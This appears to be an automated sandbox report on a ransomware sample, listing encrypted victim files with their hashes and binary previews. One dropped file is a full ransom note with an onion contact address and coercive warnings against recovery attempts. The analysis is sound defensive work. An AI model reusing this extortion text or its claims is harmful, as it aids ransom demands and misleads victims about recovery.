Preview:	........k..ftz%R.p.....uu-..R.8.P.......<@......0....'..I...........f..{zy9E.u....fe...H.9.V.......'E......,....9.7F...........~..rg`1[.b.....um0..B.4.R.......5F......4....9.?U...........m..msb+F.k....ew%..U.<.R.......O......:....>.:B..........y..dfr D.k.....ss2..O.:.@.......0F....../....&.'\..........x..mrv:\.d....cr/..B.:.K.......4W......:....&.6]..........f..vvw4^.i.....{{2..@.%.R.......:E......2....;.-]..........b..gyk,X.w.....ao..V.#.C.......?I......(....!."O..........b..cg{0C.b....tq8..I.5.F.........([......"....#.$_..........g..zgn9L.b....js+..C..B.......4X......"....;.,O..........~..kao5M.m.....dg3..H.;.Q.......)F......,....".1\..........~..xq`/L.d....c~/.._.=.E.......-R.......&....!.'O..........d..g}w)G.q....r\|/..E.".H.......;S......7....<.2L...........y..d}}$Q.f.....yw..V.$.R.......(G......:....%.']...........m..nei!X.u.....~p&..N.4.S.........2D......,....=.=L..........~..hrk3Q.h....{u9..D.;.B.....

C:\Users\user\Desktop\VAMYDFPUND.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.549282475845317
Encrypted:	false
SSDEEP:
MD5:	45C27FBC14BB675C38D110F9C8B7D6B9
SHA1:	66C6804C011BB9748697EEFD57C34F9D6A2E3FEB
SHA-256:	68F353D1D2761D8645830F60CCDF7823235D7A07BB11C9ECFE0155DA1C4DC343
SHA-512:	A06997D942D8C33150DB5B7394011B2AD20EEC3DC6211F5EDF7A96279AF05F4B988B8C2E6E2F513D373AC6272FAE51BB8EF91CF54C1DB27A36EF89B0AFC9055B
Malicious:	false
Preview:	#..1...R.%a...S.X..%..=....L.#5.:z~....[....p...T.X..A.....=1..:...R.+l...].D.. ..-....Y.9:.<\|x..._....s...T.[...K...p.#>......A.4t...@.L..7..3....U.3<.$x....U........].^...E...c.(<..2...D.%g...T.V..>..%....V.$;.+xd...]....o..._.U...E...t.77..9...J..s...A.]..>..2....J.>!.<jr...C....g...Z.R..Z...j.1/..!...C.'r...U.G..1..#....I.3(.'an...Q....~...K.R..V...k.43.."...H.*l...Q.I..<..3....R.1<.$xz...A....x...[.Y..O...k..>../...M.1h...^.Q.."..>....R.'(./i{...L....b...T.U..T...y.,7..9...S.&h...@.M..7..&....[.8).1lq...N....~...T.E..P...i.+9..+...L.7m...@.D..7..$....X.29.)h....Q....y...H.O..P...y.#<..%...].+t...F.H..8..9....K.9!.1{p...^....e...A.U...R...j.(2..2...H.2t...V.R..1..&....S..#.,ov....N....g...Y.S...[...y.3 ..%...Q.#n...Z.T..$..!.....F.4!.:br...H....m...O.F..S...z. 4..;...T.#s...Z.Y..3..:....H.'7.<xm...O....r...T.F...L...k.>1../...C.2g...B.\.. ..9....Y.?-.7yx...N....c...L._...R...z.8'......H.;t...U.N..=..#....[.5 .'hh...

C:\Users\user\Desktop\VAMYDFPUND.xlsx.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.549282475845317
Encrypted:	false
SSDEEP:
MD5:	45C27FBC14BB675C38D110F9C8B7D6B9
SHA1:	66C6804C011BB9748697EEFD57C34F9D6A2E3FEB
SHA-256:	68F353D1D2761D8645830F60CCDF7823235D7A07BB11C9ECFE0155DA1C4DC343
SHA-512:	A06997D942D8C33150DB5B7394011B2AD20EEC3DC6211F5EDF7A96279AF05F4B988B8C2E6E2F513D373AC6272FAE51BB8EF91CF54C1DB27A36EF89B0AFC9055B
Malicious:	false
Preview:	#..1...R.%a...S.X..%..=....L.#5.:z~....[....p...T.X..A.....=1..:...R.+l...].D.. ..-....Y.9:.<\|x..._....s...T.[...K...p.#>......A.4t...@.L..7..3....U.3<.$x....U........].^...E...c.(<..2...D.%g...T.V..>..%....V.$;.+xd...]....o..._.U...E...t.77..9...J..s...A.]..>..2....J.>!.<jr...C....g...Z.R..Z...j.1/..!...C.'r...U.G..1..#....I.3(.'an...Q....~...K.R..V...k.43.."...H.*l...Q.I..<..3....R.1<.$xz...A....x...[.Y..O...k..>../...M.1h...^.Q.."..>....R.'(./i{...L....b...T.U..T...y.,7..9...S.&h...@.M..7..&....[.8).1lq...N....~...T.E..P...i.+9..+...L.7m...@.D..7..$....X.29.)h....Q....y...H.O..P...y.#<..%...].+t...F.H..8..9....K.9!.1{p...^....e...A.U...R...j.(2..2...H.2t...V.R..1..&....S..#.,ov....N....g...Y.S...[...y.3 ..%...Q.#n...Z.T..$..!.....F.4!.:br...H....m...O.F..S...z. 4..;...T.#s...Z.Y..3..:....H.'7.<xm...O....r...T.F...L...k.>1../...C.2g...B.\.. ..9....Y.?-.7yx...N....c...L._...R...z.8'......H.;t...U.N..=..#....[.5 .'hh...

C:\Users\user\Desktop\WKXEWIOTXI.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.548161259302819
Encrypted:	false
SSDEEP:
MD5:	560F8D5BEBFC98D929FB9C0B378A74B1
SHA1:	C085DCFA20B9A6E296803CFC0A95971E2C0062CA
SHA-256:	C8F95D4A0B427A4B83D20BC57F6166906AF52AE567AC8020E4267CD022C63C0F
SHA-512:	018A8AE811B80550B51362C918DD827FFC42C4723D84965CEF1B7CE07C17BD15496197F61297BD9301DE8248044A125838FD492E8365D995362FD71D1A227D35
Malicious:	false
Preview:	\|C....#{...n..~.2...R.^.\.........\|....,Tm{....v....^P..&.....~C....5f...i..x.+...S.\.F.........~....'Dmv....dd...IM..<.....o_....#d...t..}.,...D.S.W.........{..../Ugz.....r...WS..7.....iK....#t...j..r. ...U.Q.R.........v....-Rjt....gt...MF..,.....iO.....u...q..\|.9...S.G.L.........k....8D}k....gi...S\..%.....j[....2s...\|..h.9...@.[.].........i....#Pey....wj...^M..!.....gX....<r...a..a.>...X.\.R.........v...."Vbu....ud...XN..=.....o_....5l...a..n.3...C.E.W.........}....!Tql....ro...FU..-.....eG....?s...}..g.9...F.C.A.........{....=Rb.....ab...Q\..$.....s@....&a...p..{.<...P.L.X.........n....:W}k....ul...^W..>.....aY....'y...n..e.3...I._.F.........o....:Exj....th...UL..6.....l@....!r...v..b.,...Z.F.\.........u....2Ij`....gp...EZ..!.....cY....;j...o..b.5...R.B.A.........z....)Sjv....bq...UG..,.....`G....9n...t..k.;...B.U.U.........\|...."Mz~....ir...^[..!.....yC..../k...\|..~.-...T.@.@.........q....9A.}....bi...KG..".....aX....<{...m..g./...U.Z.^.........q...

C:\Users\user\Desktop\WKXEWIOTXI.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.548161259302819
Encrypted:	false
SSDEEP:
MD5:	560F8D5BEBFC98D929FB9C0B378A74B1
SHA1:	C085DCFA20B9A6E296803CFC0A95971E2C0062CA
SHA-256:	C8F95D4A0B427A4B83D20BC57F6166906AF52AE567AC8020E4267CD022C63C0F
SHA-512:	018A8AE811B80550B51362C918DD827FFC42C4723D84965CEF1B7CE07C17BD15496197F61297BD9301DE8248044A125838FD492E8365D995362FD71D1A227D35
Malicious:	false
Preview:	\|C....#{...n..~.2...R.^.\.........\|....,Tm{....v....^P..&.....~C....5f...i..x.+...S.\.F.........~....'Dmv....dd...IM..<.....o_....#d...t..}.,...D.S.W.........{..../Ugz.....r...WS..7.....iK....#t...j..r. ...U.Q.R.........v....-Rjt....gt...MF..,.....iO.....u...q..\|.9...S.G.L.........k....8D}k....gi...S\..%.....j[....2s...\|..h.9...@.[.].........i....#Pey....wj...^M..!.....gX....<r...a..a.>...X.\.R.........v...."Vbu....ud...XN..=.....o_....5l...a..n.3...C.E.W.........}....!Tql....ro...FU..-.....eG....?s...}..g.9...F.C.A.........{....=Rb.....ab...Q\..$.....s@....&a...p..{.<...P.L.X.........n....:W}k....ul...^W..>.....aY....'y...n..e.3...I._.F.........o....:Exj....th...UL..6.....l@....!r...v..b.,...Z.F.\.........u....2Ij`....gp...EZ..!.....cY....;j...o..b.5...R.B.A.........z....)Sjv....bq...UG..,.....`G....9n...t..k.;...B.U.U.........\|...."Mz~....ir...^[..!.....yC..../k...\|..~.-...T.@.@.........q....9A.}....bi...KG..".....aX....<{...m..g./...U.Z.^.........q...

C:\Users\user\Desktop\WKXEWIOTXI.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.582890892301094
Encrypted:	false
SSDEEP:
MD5:	7A4C799FC697286A8339CEF566E1502D
SHA1:	42137983B5B13C5D265D6B846B77A3F5AABC9181
SHA-256:	C75BD485370B4D1AC3AE94929879B91666A1FB3A0DF88CA01A6D4F31428EFC34
SHA-512:	4F1E337F4EEBC9AA5099716B3D3DB952A20897B0FE12A7C7E76CA85EB6732FE31BDEC9A21E3D6D23C31E2534156DB150D90D168F3FDEC90F283572DC22426B1A
Malicious:	false
Preview:	.Fp...a(.........M4!}..E...(J...p.R&.]/{....B.t....p.8Y..'.<u.Fm...\|7......^. x.._...&M...d._<._$k....K.f...g.:W..$.0e.Z{.....~6......D,7p..N...3\...`..L3.L,z....[.}...y.$L..%.?n.Nj.....n,......T3&w..K...&O...a.W.F.}....J.e...c."Q..)..g.Jm.....o+......F. l..U...<E...n.B.I;k....].e...}.(K..,.4c.^n...i+......D43m..D...:E...\|.T5.E .....[.u...p.$D...=w.]......h#......]:+g..K.../[...c.F..M!y....P.w...v.1W..-.9\|.Zb.....v/......N00q..N...2F...a..A".R"{....D.p...h.5T..4.2g.B`...i1......\05h..X...6Z...t..]".^>}....B.c......!W...-i.Ek...{,........S'#p..A...B...b.J<._9x....C.w...p.%S..-.=f.\p.....c9......D;:..._...5P...v.I4.A9j....M.v...{.8R..>.5r.Ea.....h)......]')t..E...+N...k.B2.J1f....^.e...k.&H..2.:b.\g...p,........];!h..X...8Y...c.F).D\|....B.`....{./U..5. p.Bc...t(......B91r..L...?P.....V-.I!b....[.k...p.)D..6.3g.Fl...q8.........\-'d..Y...1@...o.F/.T:n....L.`...e.3[..#./h.]j...a;......Y7&i..G...=^...g.B3.

C:\Users\user\Desktop\WKXEWIOTXI.xlsx.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.582890892301094
Encrypted:	false
SSDEEP:
MD5:	7A4C799FC697286A8339CEF566E1502D
SHA1:	42137983B5B13C5D265D6B846B77A3F5AABC9181
SHA-256:	C75BD485370B4D1AC3AE94929879B91666A1FB3A0DF88CA01A6D4F31428EFC34
SHA-512:	4F1E337F4EEBC9AA5099716B3D3DB952A20897B0FE12A7C7E76CA85EB6732FE31BDEC9A21E3D6D23C31E2534156DB150D90D168F3FDEC90F283572DC22426B1A
Malicious:	false
Preview:	.Fp...a(.........M4!}..E...(J...p.R&.]/{....B.t....p.8Y..'.<u.Fm...\|7......^. x.._...&M...d._<._$k....K.f...g.:W..$.0e.Z{.....~6......D,7p..N...3\...`..L3.L,z....[.}...y.$L..%.?n.Nj.....n,......T3&w..K...&O...a.W.F.}....J.e...c."Q..)..g.Jm.....o+......F. l..U...<E...n.B.I;k....].e...}.(K..,.4c.^n...i+......D43m..D...:E...\|.T5.E .....[.u...p.$D...=w.]......h#......]:+g..K.../[...c.F..M!y....P.w...v.1W..-.9\|.Zb.....v/......N00q..N...2F...a..A".R"{....D.p...h.5T..4.2g.B`...i1......\05h..X...6Z...t..]".^>}....B.c......!W...-i.Ek...{,........S'#p..A...B...b.J<._9x....C.w...p.%S..-.=f.\p.....c9......D;:..._...5P...v.I4.A9j....M.v...{.8R..>.5r.Ea.....h)......]')t..E...+N...k.B2.J1f....^.e...k.&H..2.:b.\g...p,........];!h..X...8Y...c.F).D\|....B.`....{./U..5. p.Bc...t(......B91r..L...?P.....V-.I!b....[.k...p.)D..6.3g.Fl...q8.........\-'d..Y...1@...o.F/.T:n....L.`...e.3[..#./h.]j...a;......Y7&i..G...=^...g.B3.

C:\Users\user\Desktop\ZTGJILHXQB.mp3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.565775555002822
Encrypted:	false
SSDEEP:
MD5:	73201E9BD75B4FCB4148822606CD03FD
SHA1:	6ED955067B302CC55E0ECF38794A37EA3AC27B29
SHA-256:	D31AE22E24BCECB85ADD45C4D28787A58B83B41181BCEC9FFDC836C0CA12FC2B
SHA-512:	FD30F6134A30ECE482D4C2095B4263FE4A92B15D938FD19D47BF152FF91C47849CB03A32DD644DE72818FAA8340A90AACFC24CAF2AE4E1BC7A0FD8CEA4AFE834
Malicious:	false
Preview:	.Tu.^.P.-..8k...w.9%0..&..8H].+..8.S..^ rI..zb.7.C..5N.&..z.Od.P.8_..'..'..w.007..9.."DC.:..9.W..L(gG..wq.#.]..9X.?..m.V`.F./@.:..&p...u.%3..;.."E[. ..$.F..T;bS..t`.$.G..9C.7..l.Bz.T.4U.;..s.t.64'..3..>PO.-..6.V..Q(vJ..da.:.F..=Q.>..x.Yz.Z...8F./..6s...l.$8..7..7F[....=.W..N"iA..{p.%.W..(_.(..f.P\|.F...7[.>..(}...h.$60..".. CD. ..$.Z..L=qX..`w.<._..#P.8..l.Ca.D...5A..4..:o...t.133..!..3LR.2.. .[..Y!mY..}x.&.V../F."..f.Dx.^.4B.$... `.\|.+70..8..:@A.(..%.R..K)cB..{..1.E..+P.;..m.Xu.R.#F.$..(i.c.1.,..;..;KQ.)..9.O..^<n^..bc.'.@..)X.8..{.Rc.]...=U.'..:z.n.&;7..8..&UX.7..3.Y..I(xL..ey.>.V..<Z.3..}.Ck.[.7K.>..#k...c.4;?..4..,NC...:.^..W7{C..k..(.^..<P.(..a.Pe.\...?_.!..7....o.$+#..6.. UE.)..0.H..[#k\..zs.7.V../@."..y.Wp.Y."E...3i...`.243..2..0O].?..=.E..[:kG..fe.1.Z.. C.9..w.V~.P...7H....0p...u.!/3..<..%VZ.)..,.U..U=eX..\|b.9.C..;I.&..g.O`.]...<U....1o.p.2)7.. ..#M@.:..=.M..[=kB..t~.;.T..6Y.0..x.Hs.D...3B.+..<h.`.&)/..#..$HB.>..3.

C:\Users\user\Desktop\ZTGJILHXQB.mp3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.565775555002822
Encrypted:	false
SSDEEP:
MD5:	73201E9BD75B4FCB4148822606CD03FD
SHA1:	6ED955067B302CC55E0ECF38794A37EA3AC27B29
SHA-256:	D31AE22E24BCECB85ADD45C4D28787A58B83B41181BCEC9FFDC836C0CA12FC2B
SHA-512:	FD30F6134A30ECE482D4C2095B4263FE4A92B15D938FD19D47BF152FF91C47849CB03A32DD644DE72818FAA8340A90AACFC24CAF2AE4E1BC7A0FD8CEA4AFE834
Malicious:	false
Preview:	.Tu.^.P.-..8k...w.9%0..&..8H].+..8.S..^ rI..zb.7.C..5N.&..z.Od.P.8_..'..'..w.007..9.."DC.:..9.W..L(gG..wq.#.]..9X.?..m.V`.F./@.:..&p...u.%3..;.."E[. ..$.F..T;bS..t`.$.G..9C.7..l.Bz.T.4U.;..s.t.64'..3..>PO.-..6.V..Q(vJ..da.:.F..=Q.>..x.Yz.Z...8F./..6s...l.$8..7..7F[....=.W..N"iA..{p.%.W..(_.(..f.P\|.F...7[.>..(}...h.$60..".. CD. ..$.Z..L=qX..`w.<._..#P.8..l.Ca.D...5A..4..:o...t.133..!..3LR.2.. .[..Y!mY..}x.&.V../F."..f.Dx.^.4B.$... `.\|.+70..8..:@A.(..%.R..K)cB..{..1.E..+P.;..m.Xu.R.#F.$..(i.c.1.,..;..;KQ.)..9.O..^<n^..bc.'.@..)X.8..{.Rc.]...=U.'..:z.n.&;7..8..&UX.7..3.Y..I(xL..ey.>.V..<Z.3..}.Ck.[.7K.>..#k...c.4;?..4..,NC...:.^..W7{C..k..(.^..<P.(..a.Pe.\...?_.!..7....o.$+#..6.. UE.)..0.H..[#k\..zs.7.V../@."..y.Wp.Y."E...3i...`.243..2..0O].?..=.E..[:kG..fe.1.Z.. C.9..w.V~.P...7H....0p...u.!/3..<..%VZ.)..,.U..U=eX..\|b.9.C..;I.&..g.O`.]...<U....1o.p.2)7.. ..#M@.:..=.M..[=kB..t~.;.T..6Y.0..x.Hs.D...3B.+..<h.`.&)/..#..$HB.>..3.

C:\Users\user\Desktop\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\user\Documents\CURQNKVOIX.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.587108412725871
Encrypted:	false
SSDEEP:
MD5:	E5872407084F325F9EE40593ED82222D
SHA1:	852F7D06A39118717639BB9C052138BC8E42A4DD
SHA-256:	99CF94B35F04017571BFE44678CEC51DDB46E232F4F206B1F2D38555609B073A
SHA-512:	99664D61AEFC7AB45835DBB6BE723681C298AF8471999D39437733D567123CE564CE2006E5DD543AE2A5CD46BC39CB46E3CA7DB40FE4B3FD0673DE9E320749CF
Malicious:	false
Preview:	/.......<...,........Y.._}T.)"..=.np.....s_jWl...h.....?.'.......<..;........@..S}_.')..?..qw.....cPeL{...t.....-.3(....5....>...8........U..SnN.3)..0..tu.....fNq[m...\|..... .#$.....=....+...........Y..TmU.#)..!.dn.....u^xE~...o.....!.:-.....5..../..3.........J..X~T.,+..7.bs.....uHgL\|...r.....1.44....6...6.../........P..KfH.2#..6.{w.....}HtNi...s.....-.."....%....'...=........R..K.F.("..6..`i.....uBqW{...h.....7.#?.....6.../...;........C..VzA.3?..9.mz......EpUc...~.....?. >....,...5..,........E..Zc[.#...ko.....sFtQ....i.....:.##.....-....;...........Q..HoD..$..=..wz.....cApN~...w....../.........&..0........[..PcT.1"..#.un.....k@pWr...f.....0.1>.....)..../..7........C..FpU.0$..>..er.....`ExQ~...}...../.1 ....%....)..8........H..]f@.$=..4..vz.....{PnVo...w.....!.* ....$...5..,........@..HpL.$*..).hq.....{EdUw...r.....?.54....%....7..:........W..Hd\.-$..4.sk.....jFdLp...f.......1=....:....=...........P.._bD.?0..8..

C:\Users\user\Documents\CURQNKVOIX.docx.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.587108412725871
Encrypted:	false
SSDEEP:
MD5:	E5872407084F325F9EE40593ED82222D
SHA1:	852F7D06A39118717639BB9C052138BC8E42A4DD
SHA-256:	99CF94B35F04017571BFE44678CEC51DDB46E232F4F206B1F2D38555609B073A
SHA-512:	99664D61AEFC7AB45835DBB6BE723681C298AF8471999D39437733D567123CE564CE2006E5DD543AE2A5CD46BC39CB46E3CA7DB40FE4B3FD0673DE9E320749CF
Malicious:	false
Preview:	/.......<...,........Y.._}T.)"..=.np.....s_jWl...h.....?.'.......<..;........@..S}_.')..?..qw.....cPeL{...t.....-.3(....5....>...8........U..SnN.3)..0..tu.....fNq[m...\|..... .#$.....=....+...........Y..TmU.#)..!.dn.....u^xE~...o.....!.:-.....5..../..3.........J..X~T.,+..7.bs.....uHgL\|...r.....1.44....6...6.../........P..KfH.2#..6.{w.....}HtNi...s.....-.."....%....'...=........R..K.F.("..6..`i.....uBqW{...h.....7.#?.....6.../...;........C..VzA.3?..9.mz......EpUc...~.....?. >....,...5..,........E..Zc[.#...ko.....sFtQ....i.....:.##.....-....;...........Q..HoD..$..=..wz.....cApN~...w....../.........&..0........[..PcT.1"..#.un.....k@pWr...f.....0.1>.....)..../..7........C..FpU.0$..>..er.....`ExQ~...}...../.1 ....%....)..8........H..]f@.$=..4..vz.....{PnVo...w.....!.* ....$...5..,........@..HpL.$*..).hq.....{EdUw...r.....?.54....%....7..:........W..Hd\.-$..4.sk.....jFdLp...f.......1=....:....=...........P.._bD.?0..8..

C:\Users\user\Documents\CURQNKVOIX.pdf

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.604917687784171
Encrypted:	false
SSDEEP:
MD5:	B5F573013B00CB1076800D3997E8F189
SHA1:	310940668E0A067C45AB623BC6C2A713497E7A01
SHA-256:	ADB9317163962B31D6E1E14500823CB2EEBF36A9FD968C7A4AF6DF998CC2800D
SHA-512:	823F2084B0D7295B002C22839A31C49DBE0BEB2A42943934464256B1DB5A7A823DE144F8ED11E310EFCF775834CA93CDE0C18315557D2AD5B8C3BDC6C37EB884
Malicious:	false
Preview:	T7....HV...6. dO.y.7...<.@.G.A.O..I^.a..W.P...g.adh......?Q/......CO...1.?cO.i....=.M.G.R.D..R].f..\.@...p.\|wt......+S1...B@...3.:rT.m.,...4.K.T.\.D..ZH.i..A.E..f.e}\|......;_5...C]...,.(mN.u.#...#.X.W.@.D..E^.b..].V..u.eko......"V(...VG...6..mQ...5...+.X.D.\.F...FU.\|..I.V...w.zkr......,O+...X[...&./zM.`.6...#.^.\.N.N..KZ.o..V.^..b.tns......6Y8.....E\....,.3`^.`....=.C.E.^.O..^K.c..W.V..p.x{h......;D3...OA...!.4rB.h.(...".@.@.C.R..F@.t..W.\..h.uq~......8E8......HM...7.1~Z.c./...4.G.Y.M.G..UT.a..V.P..t.bli......;X3......CK...!.6mS.c.2...;.M.U._.I..XC.t..Z.@..u.dlw......7U ....HC....,.1tP.i....(.@.Y.R.O..V@.v..V.H..y.zdf......)E$....XH...+.;zZ.}.0...!.D.J.[.I..Z@.i..A.C..u.li}......)[8.....D\...:.+}B.e.$...>.C.\.R.P..PT.t..Q.X..d.ejw......2[0.....V^...6.+\|P.f.2...'.P.J.F.G..HN.z..P.X...\|.fgr......-O...HI...:.-mS.z.7...#.Q.^.E.I..N\.n..O.I...{.jxf......)F&...S^...*.4.H.h.;...?.A.X._.]..Z\

C:\Users\user\Documents\CURQNKVOIX.pdf.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.604917687784171
Encrypted:	false
SSDEEP:
MD5:	B5F573013B00CB1076800D3997E8F189
SHA1:	310940668E0A067C45AB623BC6C2A713497E7A01
SHA-256:	ADB9317163962B31D6E1E14500823CB2EEBF36A9FD968C7A4AF6DF998CC2800D
SHA-512:	823F2084B0D7295B002C22839A31C49DBE0BEB2A42943934464256B1DB5A7A823DE144F8ED11E310EFCF775834CA93CDE0C18315557D2AD5B8C3BDC6C37EB884
Malicious:	false
Preview:	T7....HV...6. dO.y.7...<.@.G.A.O..I^.a..W.P...g.adh......?Q/......CO...1.?cO.i....=.M.G.R.D..R].f..\.@...p.\|wt......+S1...B@...3.:rT.m.,...4.K.T.\.D..ZH.i..A.E..f.e}\|......;_5...C]...,.(mN.u.#...#.X.W.@.D..E^.b..].V..u.eko......"V(...VG...6..mQ...5...+.X.D.\.F...FU.\|..I.V...w.zkr......,O+...X[...&./zM.`.6...#.^.\.N.N..KZ.o..V.^..b.tns......6Y8.....E\....,.3`^.`....=.C.E.^.O..^K.c..W.V..p.x{h......;D3...OA...!.4rB.h.(...".@.@.C.R..F@.t..W.\..h.uq~......8E8......HM...7.1~Z.c./...4.G.Y.M.G..UT.a..V.P..t.bli......;X3......CK...!.6mS.c.2...;.M.U._.I..XC.t..Z.@..u.dlw......7U ....HC....,.1tP.i....(.@.Y.R.O..V@.v..V.H..y.zdf......)E$....XH...+.;zZ.}.0...!.D.J.[.I..Z@.i..A.C..u.li}......)[8.....D\...:.+}B.e.$...>.C.\.R.P..PT.t..Q.X..d.ejw......2[0.....V^...6.+\|P.f.2...'.P.J.F.G..HN.z..P.X...\|.fgr......-O...HI...:.-mS.z.7...#.Q.^.E.I..N\.n..O.I...{.jxf......)F&...S^...*.4.H.h.;...?.A.X._.]..Z\

C:\Users\user\Documents\FENIVHOIKN.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.565774081723581
Encrypted:	false
SSDEEP:
MD5:	31E3A7951E29E17814227436C0B86684
SHA1:	F4DD9C38FA254FACA08C63CDD7A24DB0D446A7A0
SHA-256:	EF97129EB2B6D6746931D5B6A7930C15658D87C6FFCA5D6C8BC935C5DEA00500
SHA-512:	0C0CDDCA914FD804FC40BD0ADD7399953ACCC60F68CE65F2831F72AB9165E25DF5677BFF66CF757F3895A17D48A876C49ECB64B92B880D8A9C936078BB5BA857
Malicious:	false
Preview:	.Z&r[...]].c...}v...e.0.#.e.........-....[..n._.J....l.=..-.C9}^...YN.u...~p...h?!.?............'....V..{.\._....n.=.>.6.X(sF...QO.i...\|g...~&".:.l..........9....X..h.Y.]....p.+...6.^=aJ...BM.s...wv...o'=./.v.........>....U..x.[.X....z.(.%.(.Y(aG...@F.u...tk...s<%.<.t..............._..s.M.C....}.".<.?.\)gP...EY.u...~n...w=!.1.\|..........;....G..s.N.P....g.-.=.).M:k@...BT.w...to...b%+...y..........7....U..z.Z.G....d..).=.[ }T...RG.p...nl...t52.%.d.........-....L..w.@.V....c.'.;.#.F aV...IY.}...pd...~/<.=.t.........%....\..y.L.B....s.>.=.$.[(pX...W^.{...pu...l/?.'.t........."....\..f.B._....m.&.:.5.G6kR...IF.c...\|x...r8%.?.h.........=....N..p.[.S....r.'.>..F%~Q...EQ.i...lq...u"'.'.t..........8....^..t.W.]....o.0.&.9.\>}C...@\.\|...mu...q2'.8.b.........9....N..x.B.Y....{.*.%.'.G<lI...@Y.i...ys...f'$.1.l.........9....E..n.\.D....k.8.!.-.@<aY...@Z.n...hv...g8&.$.j..........;....E..m.^.J....m.$.:.).C f[...BV.s...wa...i1:.3.z..........

C:\Users\user\Documents\FENIVHOIKN.docx.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.565774081723581
Encrypted:	false
SSDEEP:
MD5:	31E3A7951E29E17814227436C0B86684
SHA1:	F4DD9C38FA254FACA08C63CDD7A24DB0D446A7A0
SHA-256:	EF97129EB2B6D6746931D5B6A7930C15658D87C6FFCA5D6C8BC935C5DEA00500
SHA-512:	0C0CDDCA914FD804FC40BD0ADD7399953ACCC60F68CE65F2831F72AB9165E25DF5677BFF66CF757F3895A17D48A876C49ECB64B92B880D8A9C936078BB5BA857
Malicious:	false
Preview:	.Z&r[...]].c...}v...e.0.#.e.........-....[..n._.J....l.=..-.C9}^...YN.u...~p...h?!.?............'....V..{.\._....n.=.>.6.X(sF...QO.i...\|g...~&".:.l..........9....X..h.Y.]....p.+...6.^=aJ...BM.s...wv...o'=./.v.........>....U..x.[.X....z.(.%.(.Y(aG...@F.u...tk...s<%.<.t..............._..s.M.C....}.".<.?.\)gP...EY.u...~n...w=!.1.\|..........;....G..s.N.P....g.-.=.).M:k@...BT.w...to...b%+...y..........7....U..z.Z.G....d..).=.[ }T...RG.p...nl...t52.%.d.........-....L..w.@.V....c.'.;.#.F aV...IY.}...pd...~/<.=.t.........%....\..y.L.B....s.>.=.$.[(pX...W^.{...pu...l/?.'.t........."....\..f.B._....m.&.:.5.G6kR...IF.c...\|x...r8%.?.h.........=....N..p.[.S....r.'.>..F%~Q...EQ.i...lq...u"'.'.t..........8....^..t.W.]....o.0.&.9.\>}C...@\.\|...mu...q2'.8.b.........9....N..x.B.Y....{.*.%.'.G<lI...@Y.i...ys...f'$.1.l.........9....E..n.\.D....k.8.!.-.@<aY...@Z.n...hv...g8&.$.j..........;....E..m.^.J....m.$.:.).C f[...BV.s...wa...i1:.3.z..........

C:\Users\user\Documents\FENIVHOIKN.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.557887320566032
Encrypted:	false
SSDEEP:
MD5:	1EE83E3E70DFA002BFDCFF8AA6353C0A
SHA1:	27764F587C47FF214A5E85051D69AD4C342DA989
SHA-256:	0CB48419B5E783630EB25866396B6AA75C7960304FD501BB652382DCF2A34B16
SHA-512:	37E5FF12F53E480F7DC3DD57B56F9F79AE80EA455A92D68A19301133DFF241C3AEA4043FF04CCE26DCF64CBA77EE706C6D2B93E1A283AFA0A03EE6B68D78A95E
Malicious:	false
